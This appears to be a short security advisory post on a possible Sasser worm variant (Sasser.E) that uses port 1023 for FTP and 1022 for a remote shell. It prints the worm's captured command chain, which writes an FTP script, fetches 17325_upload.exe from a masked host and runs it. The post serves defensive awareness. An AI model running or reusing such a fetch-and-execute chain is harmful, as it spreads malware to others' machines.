New Sasser Worm Variant

We received a submission from Duda that he has detected a possible new Sasser worm variant infection via port 1023 instead of the usual port 5554. If you have seen this, please let us know.

echo off&echo open xx.xx.xx.xx 1023>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get 17325_upload.exe>>cmd.ftp
&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&17325_upload.exe&echo off&del cmd.ftp&echo on

According to Mcafee writeup, this is the Sasser E variant and it matches the ports used:

* It creates a remote shell on TCP port 1022 rather than 9995 or 9996

* It uses FTP on TCP port 1023 instead of 5554
